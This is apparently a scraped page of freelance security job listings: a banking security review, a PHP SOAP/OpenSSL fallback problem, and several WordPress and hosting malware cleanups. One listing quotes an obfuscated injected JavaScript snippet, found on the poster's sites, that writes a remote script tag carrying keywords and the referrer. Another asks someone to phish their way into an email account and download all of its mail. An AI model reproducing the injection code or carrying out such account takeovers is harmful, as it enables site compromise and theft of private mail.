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Fixed-Price - Expert ($$$) - Est. Budget: $200 - Posted
We need a security expert with very strong security skills within banking and finance. This is a job to respond to a security review on future secuirty initiatives. There will be a report to read and about 12 questions each with varying degrees of complexity. This is also about 2 factor authentication and payments security authentication for each recommendation which you make after reading the review your response must be in the following format respond to the question stated;  indicate the specific point to which a comment relates;  contain a clear rationale;  provide evidence to support the views expressed/ rationale proposed; and  describe any alternative regulatory choices we should consider. This work for the right person can be done in a day or so. depending on your skills and knowledge
Skills: Internet Security Certified Information Systems Security Professional (CISSP) Information Security Security Analysis
Fixed-Price - Expert ($$$) - Est. Budget: $250 - Posted
Our web site comprises a hotel booking engine that connects to a SOAP web service to search and book hotel reservations. The application is built in Linux, Apache, PHP and MySQL. We use PHP 5.2.17 and OpenSSL 1.0.1e-fips 11 Feb 2013. I have attached the full output of our phpini file for your reference. We are currently receiving an error message from the web service indicating that we are submitting unencrypted requests approximately 30% of the time. The remaining 70% of the requests are encrypted. When the unencrypted request occurs, the initial SSL negotiation (when retrieving the WSDL from the web service to construct the SOAP request) fails with a message of "no cipher suites in common". This may point to a configuration issue on their end, for example that they are using an SSL load balancer. The PHP SOAP request appears to fall back to HTTP and resubmit the request. This may be due to a combination of the default behavior of OpenSSL and PHP. We have a list of all of the ciphers that the web service supports. We need a developer with deep experience in PHP, SOAP APIs, and OpenSSL to definitively diagnose the issue and modify the OpenSSL settings and/or the PHP script to not fall back to http and to submit the request with a supported cipher.
Skills: Internet Security Security Analysis SSL
Fixed-Price - Intermediate ($$) - Est. Budget: $25 - Posted
We have an email account that is hosted on google apps for work. We would like to pentest this email address i.e. get access to the email by phishing or using any other means, enable pop3/imap and download all the sent and received emails along with any attachments using an email client. The emails are then exported and saved in a file. Copy of downloaded emails are to be left untouched.
Skills: Internet Security Network Security Penetration Testing
Fixed-Price - Intermediate ($$) - Est. Budget: $100 - Posted
Hi, I own a hosting service which handles more than a single web site: The problem is - I have a virus on all of them. I made a small solution - I made the following code not display anymore on the web site: <script type='text/javascript' src=''></script> <!-- <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){​document.write('<script type="text/javascript" src="'+encodeURIComponent(''+'?'+'default_keyword='+encodeURIComponent(((k=(function(){​var keywords='';var metas=document.getElementsByTagName('meta');if(metas){​for(var x=0,y=metas.length;x<y;x++){​if(metas[x].name.toLowerCase()=="keywords"){​keywords+=metas[x].content;}​}​}​return keywords!==''?keywords:null;}​)())==null?([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent('"><'+'/script>');}​</script> </head>--></head> Do you know of any better solution? What would be the price for solving this? You will receive access to the CPanel.
Skills: Internet Security
Fixed-Price - Intermediate ($$) - Est. Budget: $50 - Posted
We have 5-6 domains (websites) on one hosting (BlueHost VPS) account and have had our account hacked (defaced) and malware placed on the server. We need to have you remove the malware, restore the sites, and protect them against future attacks.  **This project needs to be completed in a timely manner (less than 3-5 days from hiring)** Of the 5 most of the sites are using a very old version of Wordpress and now there is Malware present on the server. We are looking for a professional who will: 1) Remove all the Malware, backdoor, etc. 2) Perform all the necessary updates to ensure the sites stay safe 3) Share with us what was done so we can understand how this happened Thanks! You will be asked to answer the following questions when submitting a proposal: 1. What is your experience level with Malware / Virus removal? We will only hire a thorough professional with previous experience with malware removal, Wordpress, coding, etc.
Skills: Internet Security CSS Information Security Malware
Fixed-Price - Expert ($$$) - Est. Budget: $150 - Posted
Hi, Our wordress website is facing some issues related to security. We need a wordpress security expert who can carry out the below tasks: Details regarding the website: 1. Wordpress is installed on a Windows Server. 2. Please note that, we are unable to update Wordpress with present template and customisation. Activities to be carried out: 1. Conduct comprehensive security audit and identify issues and loopholes in addition to the issues identified by us. 2. File permissions should be configured as per windows files system. 3. Prevent Bruteforce Attacks. 4. Database is being compromised very often (Changing DB Password,table names has not helped). 5. Strengthening of firewall. 6. Need to plug security holes in the code, including plugins. 7. Wordpress needs to be updated with the present template and customisation 8. URL Injection to be prevented. Non existent URLs being crawled by Google for our domain. 9. Comments Spam, Anonymous User generation. 10. Optimize performance of website and fasten page loading We are looking to hire a freelance who has expertise in fixing and identifying security loopholes and issues. The budget mentioned is for carrying out the listed tasks. If more issues are identified during the security audit, a fee can be determined for carrying out the activities listed in the security audit. Best regards, Hemanth
Skills: Internet Security Firewall Network Security Security Analysis